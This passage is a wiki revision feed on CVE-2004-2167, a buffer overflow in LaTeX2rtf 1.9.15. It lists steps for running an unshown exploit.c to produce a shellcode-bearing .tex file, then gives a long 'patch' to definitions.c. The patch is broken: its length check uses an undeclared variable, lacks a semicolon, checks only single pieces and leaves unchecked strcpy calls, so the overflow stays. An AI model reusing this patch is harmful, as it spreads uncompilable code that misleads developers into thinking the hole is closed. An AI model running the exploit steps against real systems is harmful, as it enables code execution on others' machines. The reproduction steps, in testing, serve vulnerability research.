<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-2167_LaTeX2rtf_1.9.15%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2004-2167 LaTeX2rtf 1.9.15緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2004-2167_LaTeX2rtf_1.9.15%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-2167_LaTeX2rtf_1.9.15%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:36:53Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2004-2167_LaTeX2rtf_1.9.15%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=820&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; # cve-2004-2167   Code to be tested:  Download CentOS 6.4 Opertaing System  Download the Latex2RTf to the Downloads folder from the below link:          https:/...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2004-2167_LaTeX2rtf_1.9.15%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=820&amp;oldid=prev"/>
		<updated>2021-04-01T02:21:59Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; # cve-2004-2167   Code to be tested:  Download CentOS 6.4 Opertaing System  Download the Latex2RTf to the Downloads folder from the below link:          https:/...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cve-2004-2167&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code to be tested:&lt;br /&gt;
&lt;br /&gt;
Download CentOS 6.4 Opertaing System&lt;br /&gt;
&lt;br /&gt;
Download the Latex2RTf to the Downloads folder from the below link:&lt;br /&gt;
    &lt;br /&gt;
    https://sourceforge.net/projects/latex2rtf/files/latex2rtf-win/1.9.15/&lt;br /&gt;
&lt;br /&gt;
cd /home/username/Downloads/&lt;br /&gt;
&lt;br /&gt;
tar -xvf latex2rtf-1.9.15.tar.gz&lt;br /&gt;
&lt;br /&gt;
 cd latex2rtf-1.9.15&lt;br /&gt;
 &lt;br /&gt;
sudo make &lt;br /&gt;
&lt;br /&gt;
sudo make install&lt;br /&gt;
&lt;br /&gt;
gcc -o exploit exploit.c &lt;br /&gt;
&lt;br /&gt;
./exploit &amp;gt; shell_code.tex&lt;br /&gt;
&lt;br /&gt;
./latex2rtf shell_code.tex&lt;br /&gt;
&lt;br /&gt;
Steps for patching:&lt;br /&gt;
Download the patch from:&lt;br /&gt;
&lt;br /&gt;
https://github.com/uzzzval/cve-2004-2167/blob/master/definitions_patch.c&lt;br /&gt;
&lt;br /&gt;
cp definitions_patch.c /home/username/Downloads/latex2rtf-1.9.15/&lt;br /&gt;
mv definitions_patch.c definitions.c&lt;br /&gt;
sudo Make&lt;br /&gt;
sudo make install&lt;br /&gt;
./latex2rtf shell_code.tex&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==definitions_patch.c==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/* definitions.c - Routines to handle TeX \def and LaTeX \newcommand &lt;br /&gt;
&lt;br /&gt;
Copyright (C) 2001-2002 The Free Software Foundation&lt;br /&gt;
&lt;br /&gt;
This program is free software; you can redistribute it and/or&lt;br /&gt;
modify it under the terms of the GNU General Public License&lt;br /&gt;
as published by the Free Software Foundation; either version 2&lt;br /&gt;
of the License, or (at your option) any later version.&lt;br /&gt;
&lt;br /&gt;
This program is distributed in the hope that it will be useful,&lt;br /&gt;
but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;
GNU General Public License for more details.&lt;br /&gt;
&lt;br /&gt;
You should have received a copy of the GNU General Public License&lt;br /&gt;
along with this program; if not, write to the Free Software&lt;br /&gt;
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.&lt;br /&gt;
&lt;br /&gt;
This file is available from http://sourceforge.net/projects/latex2rtf/&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;quot;main.h&amp;quot;&lt;br /&gt;
#include &amp;quot;convert.h&amp;quot;&lt;br /&gt;
#include &amp;quot;definitions.h&amp;quot;&lt;br /&gt;
#include &amp;quot;parser.h&amp;quot;&lt;br /&gt;
#include &amp;quot;funct1.h&amp;quot;&lt;br /&gt;
#include &amp;quot;util.h&amp;quot;&lt;br /&gt;
#include &amp;quot;cfg.h&amp;quot;&lt;br /&gt;
#include &amp;quot;counters.h&amp;quot;&lt;br /&gt;
#include &amp;quot;funct1.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_DEFINITIONS 200&lt;br /&gt;
#define MAX_ENVIRONMENTS 20&lt;br /&gt;
#define MAX_THEOREMS 20&lt;br /&gt;
&lt;br /&gt;
struct {&lt;br /&gt;
	char * name;&lt;br /&gt;
	char * opt_param;&lt;br /&gt;
	char * def;&lt;br /&gt;
	int  params;&lt;br /&gt;
} Definitions[MAX_DEFINITIONS];&lt;br /&gt;
&lt;br /&gt;
struct {&lt;br /&gt;
	char * name;&lt;br /&gt;
	char * opt_param;&lt;br /&gt;
	char * begname;&lt;br /&gt;
	char * endname;&lt;br /&gt;
	char * begdef;&lt;br /&gt;
	char * enddef;&lt;br /&gt;
	int  params;&lt;br /&gt;
} NewEnvironments[MAX_ENVIRONMENTS];&lt;br /&gt;
&lt;br /&gt;
struct {&lt;br /&gt;
	char * name;&lt;br /&gt;
	char * numbered_like;&lt;br /&gt;
	char * caption;&lt;br /&gt;
	char * within;&lt;br /&gt;
} NewTheorems[MAX_THEOREMS];&lt;br /&gt;
&lt;br /&gt;
static int iDefinitionCount = 0;&lt;br /&gt;
static int iNewEnvironmentCount = 0;&lt;br /&gt;
static int iNewTheoremCount = 0;&lt;br /&gt;
&lt;br /&gt;
static int &lt;br /&gt;
strequal(char *a, char *b)&lt;br /&gt;
{&lt;br /&gt;
	if (a==NULL || b==NULL)&lt;br /&gt;
		return 0;&lt;br /&gt;
		&lt;br /&gt;
	while (*a &amp;amp;&amp;amp; *b &amp;amp;&amp;amp; *a==*b) {a++;b++;}&lt;br /&gt;
	&lt;br /&gt;
	if (*a || *b)&lt;br /&gt;
		return 0;&lt;br /&gt;
	else&lt;br /&gt;
		return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* static void printDefinitions(void)&lt;br /&gt;
{&lt;br /&gt;
int i=0;&lt;br /&gt;
	fprintf(stderr, &amp;quot;\n&amp;quot;);&lt;br /&gt;
	while(i &amp;lt; iDefinitionCount ) {&lt;br /&gt;
		fprintf(stderr, &amp;quot;[%d] name     =&amp;lt;%s&amp;gt;\n&amp;quot;,i, Definitions[i].name);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    opt_param=&amp;lt;%s&amp;gt;\n&amp;quot;, Definitions[i].opt_param);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    def      =&amp;lt;%s&amp;gt;\n&amp;quot;, Definitions[i].def);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    params   =&amp;lt;%d&amp;gt;\n&amp;quot;, Definitions[i].params);&lt;br /&gt;
		i++;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void printTheorems(void)&lt;br /&gt;
{&lt;br /&gt;
int i=0;&lt;br /&gt;
	fprintf(stderr, &amp;quot;\n&amp;quot;);&lt;br /&gt;
	for (i=0; i&amp;lt; iNewTheoremCount; i++) {&lt;br /&gt;
		fprintf(stderr, &amp;quot;[%d] name   =&amp;lt;%s&amp;gt;\n&amp;quot;,i, NewTheorems[i].name);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    caption    =&amp;lt;%s&amp;gt;\n&amp;quot;, NewTheorems[i].caption);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    like =&amp;lt;%s&amp;gt;\n&amp;quot;, NewTheorems[i].numbered_like);&lt;br /&gt;
		fprintf(stderr, &amp;quot;    within    =&amp;lt;%s&amp;gt;\n&amp;quot;, NewTheorems[i].within);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
bool &lt;br /&gt;
isValid(char *macro)&lt;br /&gt;
{&lt;br /&gt;
	if(strlen(macro_piece) &amp;lt;= 1024)&lt;br /&gt;
		return TRUE;&lt;br /&gt;
	return FALSE&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static char *&lt;br /&gt;
expandmacro(char *macro, char *opt_param, int params)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: retrieves and expands a defined macro &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i=0,param;&lt;br /&gt;
	char * args[9], *dmacro, *macro_piece, *next_piece, *expanded, buffer[1024], *cs;&lt;br /&gt;
&lt;br /&gt;
	if (params&amp;lt;=0) &lt;br /&gt;
		return strdup(macro);&lt;br /&gt;
	&lt;br /&gt;
	if (opt_param) {&lt;br /&gt;
		args[i++] = getBracketParam();&lt;br /&gt;
		if (!args[0]) args[0] = strdup(opt_param);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	for (; i&amp;lt;params; i++) {&lt;br /&gt;
		args[i] = getBraceParam();&lt;br /&gt;
		diagnostics(3, &amp;quot;argument #%d &amp;lt;%s&amp;gt;&amp;quot;, i+1, args[i]);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	*buffer='\0';&lt;br /&gt;
	expanded = buffer;&lt;br /&gt;
	dmacro = strdup(macro);&lt;br /&gt;
	macro_piece = dmacro;&lt;br /&gt;
	&lt;br /&gt;
	/* convert &amp;quot;\csname&amp;quot; to &amp;quot;\&amp;quot; */&lt;br /&gt;
	while ((cs=strstr(dmacro, &amp;quot;\\csname&amp;quot;)) != NULL) strcpy(cs+1,cs+7);&lt;br /&gt;
		&lt;br /&gt;
	/* remove &amp;quot;\endcsname&amp;quot; */&lt;br /&gt;
	while ((cs=strstr(dmacro, &amp;quot;\\endcsname&amp;quot;)) != NULL) strcpy(cs,cs+10);&lt;br /&gt;
	&lt;br /&gt;
	/* do not use strtok because it may be used elsewhere */&lt;br /&gt;
	while (macro_piece &amp;amp;&amp;amp; *macro_piece) {&lt;br /&gt;
&lt;br /&gt;
		next_piece = strchr(macro_piece, '#');&lt;br /&gt;
		if (next_piece) {&lt;br /&gt;
			*next_piece = '\0';&lt;br /&gt;
			next_piece++;&lt;br /&gt;
			if (*next_piece=='#')&lt;br /&gt;
				param = 101;				/* just a flag for below */&lt;br /&gt;
			else&lt;br /&gt;
				param = *next_piece - '1';&lt;br /&gt;
			next_piece++;&lt;br /&gt;
		} else&lt;br /&gt;
			param = -1;&lt;br /&gt;
			&lt;br /&gt;
		diagnostics(3, &amp;quot;expandmacro piece =&amp;lt;%s&amp;gt;&amp;quot;, macro_piece);&lt;br /&gt;
		if (isValid(macro_piece))&lt;br /&gt;
			strcpy(expanded,macro_piece);&lt;br /&gt;
		else&lt;br /&gt;
			diagnostics(WARNING,&amp;quot;Definitions length is larger than expected&amp;quot;);&lt;br /&gt;
		expanded += strlen(macro_piece);&lt;br /&gt;
		if (param &amp;gt; -1) {&lt;br /&gt;
			if (param==101) {&lt;br /&gt;
				diagnostics(3, &amp;quot;expandmacro ## = #&amp;quot;);&lt;br /&gt;
				strcpy(expanded,&amp;quot;#&amp;quot;);&lt;br /&gt;
				expanded ++;&lt;br /&gt;
			} else if (param&amp;lt;params) {&lt;br /&gt;
				diagnostics(3, &amp;quot;expandmacro arg =&amp;lt;%s&amp;gt;&amp;quot;, args[param]);&lt;br /&gt;
				strcpy(expanded,args[param]);&lt;br /&gt;
				expanded += strlen(args[param]);&lt;br /&gt;
			} else&lt;br /&gt;
				diagnostics(WARNING,&amp;quot;confusing definition in macro=&amp;lt;%s&amp;gt;&amp;quot;, macro);&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
		macro_piece = next_piece;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
/*	ConvertString(buffer);*/&lt;br /&gt;
	for (i=0; i&amp;lt; params; i++)&lt;br /&gt;
		if (args[i]) free(args[i]);&lt;br /&gt;
&lt;br /&gt;
	if (dmacro) free(dmacro);&lt;br /&gt;
&lt;br /&gt;
	diagnostics(3, &amp;quot;expandmacro expanded=&amp;lt;%s&amp;gt;&amp;quot;, buffer);&lt;br /&gt;
	return strdup(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
maybeDefinition(char * s, size_t n)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: checks to see if a named TeX definition possibly exists&lt;br /&gt;
     returns: the array index of the named TeX definition&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i;&lt;br /&gt;
	&lt;br /&gt;
	if (n==0) return TRUE;&lt;br /&gt;
	&lt;br /&gt;
	for (i=0; i&amp;lt;iDefinitionCount; i++) {&lt;br /&gt;
		diagnostics(6, &amp;quot;seeking=&amp;lt;%s&amp;gt;, i=%d, current=&amp;lt;%s&amp;gt;&amp;quot;, s,i,Definitions[i].name);&lt;br /&gt;
		if (strncmp(s,Definitions[i].name,n) == 0) &lt;br /&gt;
			return TRUE;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
existsDefinition(char * s)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: checks to see if a named TeX definition exists&lt;br /&gt;
     returns: the array index of the named TeX definition&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i;&lt;br /&gt;
	&lt;br /&gt;
	for (i=0; i&amp;lt;iDefinitionCount; i++) {&lt;br /&gt;
		diagnostics(6, &amp;quot;seeking=&amp;lt;%s&amp;gt;, i=%d, current=&amp;lt;%s&amp;gt;&amp;quot;, s,i,Definitions[i].name);&lt;br /&gt;
		if (strcmp(s,Definitions[i].name) == 0) break;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if (i==iDefinitionCount) &lt;br /&gt;
		return -1;&lt;br /&gt;
	else&lt;br /&gt;
		return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
newDefinition(char *name, char * opt_param, char *def, int params)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: allocates and initializes a named TeX definition &lt;br /&gt;
              name should not begin with a '\'  for example to&lt;br /&gt;
              define \hd, name = &amp;quot;hd&amp;quot;&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	diagnostics(3,&amp;quot;Adding macro &amp;lt;%s&amp;gt;=&amp;lt;%s&amp;gt;&amp;quot;,name,def);&lt;br /&gt;
&lt;br /&gt;
	if (strcmp(name,&amp;quot;LaTeX&amp;quot;)==0) return;&lt;br /&gt;
	if (strcmp(name,&amp;quot;TeX&amp;quot;)==0) return;&lt;br /&gt;
	if (strcmp(name,&amp;quot;AmSTeX&amp;quot;)==0) return;&lt;br /&gt;
	if (strcmp(name,&amp;quot;BibTex&amp;quot;)==0) return;&lt;br /&gt;
	if (strcmp(name,&amp;quot;LaTeXe&amp;quot;)==0) return;&lt;br /&gt;
	if (strcmp(name,&amp;quot;AmSLaTeX&amp;quot;)==0) return;&lt;br /&gt;
	&lt;br /&gt;
	if (iDefinitionCount==MAX_DEFINITIONS){&lt;br /&gt;
		diagnostics(WARNING,&amp;quot;Too many definitions, ignoring %s&amp;quot;, name);&lt;br /&gt;
		return;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	Definitions[iDefinitionCount].params=params; &lt;br /&gt;
	&lt;br /&gt;
	Definitions[iDefinitionCount].name=strdup(name); &lt;br /&gt;
	&lt;br /&gt;
	if (Definitions[iDefinitionCount].name==NULL) {&lt;br /&gt;
		diagnostics(ERROR, &amp;quot;\nCannot allocate name for definition \\%s\n&amp;quot;, name);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	if (opt_param) {&lt;br /&gt;
		Definitions[iDefinitionCount].opt_param=strdup(opt_param); &lt;br /&gt;
&lt;br /&gt;
		if (Definitions[iDefinitionCount].opt_param==NULL) {&lt;br /&gt;
			diagnostics(ERROR, &amp;quot;\nCannot allocate opt_param for definition \\%s\n&amp;quot;, name);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	else {&lt;br /&gt;
	  Definitions[iDefinitionCount].opt_param=NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	Definitions[iDefinitionCount].def=strdup(def); &lt;br /&gt;
&lt;br /&gt;
	if (Definitions[iDefinitionCount].def==NULL) {&lt;br /&gt;
		diagnostics(ERROR, &amp;quot;\nCannot allocate def for definition \\%s\n&amp;quot;, name);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	iDefinitionCount++;&lt;br /&gt;
	diagnostics(3,&amp;quot;Successfully added macro #%d&amp;quot;,iDefinitionCount);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
renewDefinition(char * name, char * opt_param, char * def, int params)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: allocates (if necessary) and sets a named TeX definition &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i;&lt;br /&gt;
&lt;br /&gt;
	diagnostics(3,&amp;quot;renewDefinition seeking &amp;lt;%s&amp;gt;\n&amp;quot;,name);&lt;br /&gt;
	i = existsDefinition(name);&lt;br /&gt;
	&lt;br /&gt;
	if (i&amp;lt;0) {&lt;br /&gt;
		newDefinition(name, opt_param, def, params);&lt;br /&gt;
		diagnostics(WARNING, &amp;quot;No existing definition for \\%s&amp;quot;, name);&lt;br /&gt;
		&lt;br /&gt;
	} else {&lt;br /&gt;
		free(Definitions[i].def);&lt;br /&gt;
		if (Definitions[i].opt_param) free(Definitions[i].opt_param); &lt;br /&gt;
		Definitions[i].params = params;&lt;br /&gt;
		if (opt_param) {&lt;br /&gt;
			Definitions[i].opt_param=strdup(opt_param); &lt;br /&gt;
			if (Definitions[i].opt_param==NULL) {&lt;br /&gt;
				diagnostics(ERROR, &amp;quot;\nCannot allocate opt_param for definition \\%s\n&amp;quot;, name);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else {&lt;br /&gt;
			Definitions[i].opt_param=NULL;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		Definitions[i].def = strdup(def);&lt;br /&gt;
		if (Definitions[i].def==NULL) {&lt;br /&gt;
			diagnostics(WARNING, &amp;quot;\nCannot allocate def for definition \\%s\n&amp;quot;, name);&lt;br /&gt;
			exit(1);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char *&lt;br /&gt;
expandDefinition(int thedef)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: retrieves and expands a \newcommand macro &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	if (thedef&amp;lt;0 || thedef&amp;gt;=iDefinitionCount)&lt;br /&gt;
		return NULL;&lt;br /&gt;
	&lt;br /&gt;
	diagnostics(3, &amp;quot;expandDefinition name     =&amp;lt;%s&amp;gt;&amp;quot;, Definitions[thedef].name);&lt;br /&gt;
	diagnostics(3, &amp;quot;expandDefinition opt_param=&amp;lt;%s&amp;gt;&amp;quot;, &lt;br /&gt;
	        (Definitions[thedef].opt_param) ? Definitions[thedef].opt_param : &amp;quot;&amp;quot;);&lt;br /&gt;
	diagnostics(3, &amp;quot;expandDefinition def      =&amp;lt;%s&amp;gt;&amp;quot;, Definitions[thedef].def);&lt;br /&gt;
	diagnostics(3, &amp;quot;expandDefinition params   =&amp;lt;%d&amp;gt;&amp;quot;, Definitions[thedef].params);&lt;br /&gt;
&lt;br /&gt;
	return expandmacro(Definitions[thedef].def, Definitions[thedef].opt_param, Definitions[thedef].params);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
existsEnvironment(char * s)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: checks to see if a user created environment exists&lt;br /&gt;
     returns: the array index of the \newenvironment&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i=0;&lt;br /&gt;
	size_t n;&lt;br /&gt;
	&lt;br /&gt;
	n = strlen(s);&lt;br /&gt;
	while(i &amp;lt; iNewEnvironmentCount &amp;amp;&amp;amp; !strequal(s,NewEnvironments[i].name)) {&lt;br /&gt;
		diagnostics(4, &amp;quot;e seeking=&amp;lt;%s&amp;gt;, i=%d, current=&amp;lt;%s&amp;gt;&amp;quot;, s,i,NewEnvironments[i].name);&lt;br /&gt;
		i++;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	if (i==iNewEnvironmentCount) &lt;br /&gt;
		return -1;&lt;br /&gt;
	else&lt;br /&gt;
		return i;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int&lt;br /&gt;
maybeEnvironment(char * s, size_t n)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: checks to see if a named TeX environment possibly exists&lt;br /&gt;
     returns: the array index of the named TeX definition&lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i;&lt;br /&gt;
	&lt;br /&gt;
	if (n==0) return TRUE;&lt;br /&gt;
	&lt;br /&gt;
	for (i=0; i&amp;lt;iNewEnvironmentCount; i++) {&lt;br /&gt;
		diagnostics(6, &amp;quot;seeking=&amp;lt;%s&amp;gt;, i=%d, current=&amp;lt;%s&amp;gt;&amp;quot;, s,i,NewEnvironments[i].name);&lt;br /&gt;
		if (strncmp(s,NewEnvironments[i].begname,n) == 0 || &lt;br /&gt;
		    strncmp(s,NewEnvironments[i].endname,n) == 0) {&lt;br /&gt;
		    	diagnostics(6,&amp;quot;possible&amp;quot;);&lt;br /&gt;
		   		return TRUE;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	diagnostics(6,&amp;quot;not possible&amp;quot;);&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
newEnvironment(char *name, char *opt_param, char *begdef, char *enddef, int params)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: allocates and initializes a \newenvironment &lt;br /&gt;
              name should not begin with a '\' &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	if (iNewEnvironmentCount==MAX_ENVIRONMENTS){&lt;br /&gt;
		diagnostics(WARNING,&amp;quot;Too many newenvironments, ignoring %s&amp;quot;, name);&lt;br /&gt;
		return;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].name=strdup(name); &lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].begname=strdup_together(&amp;quot;\\begin{&amp;quot;,name); &lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].endname=strdup_together(&amp;quot;\\end{&amp;quot;,name); &lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].begdef=strdup(begdef); &lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].enddef=strdup(enddef); &lt;br /&gt;
	NewEnvironments[iNewEnvironmentCount].params=params; &lt;br /&gt;
&lt;br /&gt;
	if (opt_param) {&lt;br /&gt;
		NewEnvironments[iNewEnvironmentCount].opt_param=strdup(opt_param); &lt;br /&gt;
&lt;br /&gt;
		if (NewEnvironments[iNewEnvironmentCount].opt_param==NULL) {&lt;br /&gt;
			diagnostics(ERROR, &amp;quot;\nCannot allocate opt_param for \\newenvironment{%s}&amp;quot;, name);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	else {&lt;br /&gt;
	  NewEnvironments[iNewEnvironmentCount].opt_param=NULL;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	if (NewEnvironments[iNewEnvironmentCount].name   ==NULL ||&lt;br /&gt;
		NewEnvironments[iNewEnvironmentCount].begdef ==NULL ||&lt;br /&gt;
		NewEnvironments[iNewEnvironmentCount].begname==NULL ||&lt;br /&gt;
		NewEnvironments[iNewEnvironmentCount].endname==NULL ||&lt;br /&gt;
	    NewEnvironments[iNewEnvironmentCount].enddef ==NULL) {&lt;br /&gt;
		diagnostics(ERROR, &amp;quot;Cannot allocate memory for \\newenvironment{%s}&amp;quot;, name);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	iNewEnvironmentCount++;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
renewEnvironment(char *name, char *opt_param, char *begdef, char *enddef, int params)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: allocates and initializes a \renewenvironment &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	int i;&lt;br /&gt;
	i = existsEnvironment(name);&lt;br /&gt;
	&lt;br /&gt;
	if (i&amp;lt;0) {&lt;br /&gt;
		newEnvironment(name, opt_param, begdef, enddef, params);&lt;br /&gt;
		diagnostics(WARNING, &amp;quot;No existing \\newevironment{%s}&amp;quot;, name);&lt;br /&gt;
		&lt;br /&gt;
	} else {&lt;br /&gt;
		free(NewEnvironments[i].begdef);&lt;br /&gt;
		free(NewEnvironments[i].enddef);&lt;br /&gt;
		free(NewEnvironments[i].begname);&lt;br /&gt;
		free(NewEnvironments[i].endname);&lt;br /&gt;
		if (NewEnvironments[i].opt_param) free(NewEnvironments[i].opt_param); &lt;br /&gt;
		if (opt_param) {&lt;br /&gt;
			NewEnvironments[i].opt_param=strdup(opt_param); &lt;br /&gt;
			if (NewEnvironments[i].opt_param==NULL) {&lt;br /&gt;
				diagnostics(ERROR, &amp;quot;\nCannot allocate opt_param for \\renewenvironment{%s}&amp;quot;, name);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else {&lt;br /&gt;
			NewEnvironments[i].opt_param=NULL;&lt;br /&gt;
		}&lt;br /&gt;
		NewEnvironments[i].params = params;&lt;br /&gt;
		NewEnvironments[i].begdef = strdup(begdef);&lt;br /&gt;
		NewEnvironments[i].enddef = strdup(enddef);&lt;br /&gt;
		if (NewEnvironments[i].begdef==NULL || NewEnvironments[i].enddef==NULL) {&lt;br /&gt;
			diagnostics(ERROR, &amp;quot;Cannot allocate memory for \\renewenvironment{%s}&amp;quot;, name);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
char *&lt;br /&gt;
expandEnvironment(int thedef, int code)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: retrieves and expands a \newenvironment &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	if (thedef&amp;lt;0 || thedef&amp;gt;=iNewEnvironmentCount)&lt;br /&gt;
		return NULL;&lt;br /&gt;
	&lt;br /&gt;
	if (code == CMD_BEGIN) {&lt;br /&gt;
	&lt;br /&gt;
		diagnostics(3, &amp;quot;\\begin{%s} &amp;lt;%s&amp;gt;&amp;quot;, NewEnvironments[thedef].name, \&lt;br /&gt;
										   NewEnvironments[thedef].begdef);&lt;br /&gt;
		return expandmacro(NewEnvironments[thedef].begdef, &lt;br /&gt;
				   NewEnvironments[thedef].opt_param, &lt;br /&gt;
				   NewEnvironments[thedef].params);&lt;br /&gt;
	&lt;br /&gt;
	} else {&lt;br /&gt;
&lt;br /&gt;
		diagnostics(3, &amp;quot;\\end{%s} &amp;lt;%s&amp;gt;&amp;quot;, NewEnvironments[thedef].name, \&lt;br /&gt;
										 NewEnvironments[thedef].enddef);&lt;br /&gt;
		return expandmacro(NewEnvironments[thedef].enddef, NULL, 0);&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void&lt;br /&gt;
newTheorem(char *name, char *caption, char *numbered_like, char *within)&lt;br /&gt;
/**************************************************************************&lt;br /&gt;
     purpose: allocates and initializes a \newtheorem &lt;br /&gt;
**************************************************************************/&lt;br /&gt;
{&lt;br /&gt;
	if (iNewTheoremCount==MAX_THEOREMS){&lt;br /&gt;
		diagnostics(WARNING,&amp;quot;Too many \\newtheorems, ignoring %s&amp;quot;, name);&lt;br /&gt;
		return;&lt;br /&gt;
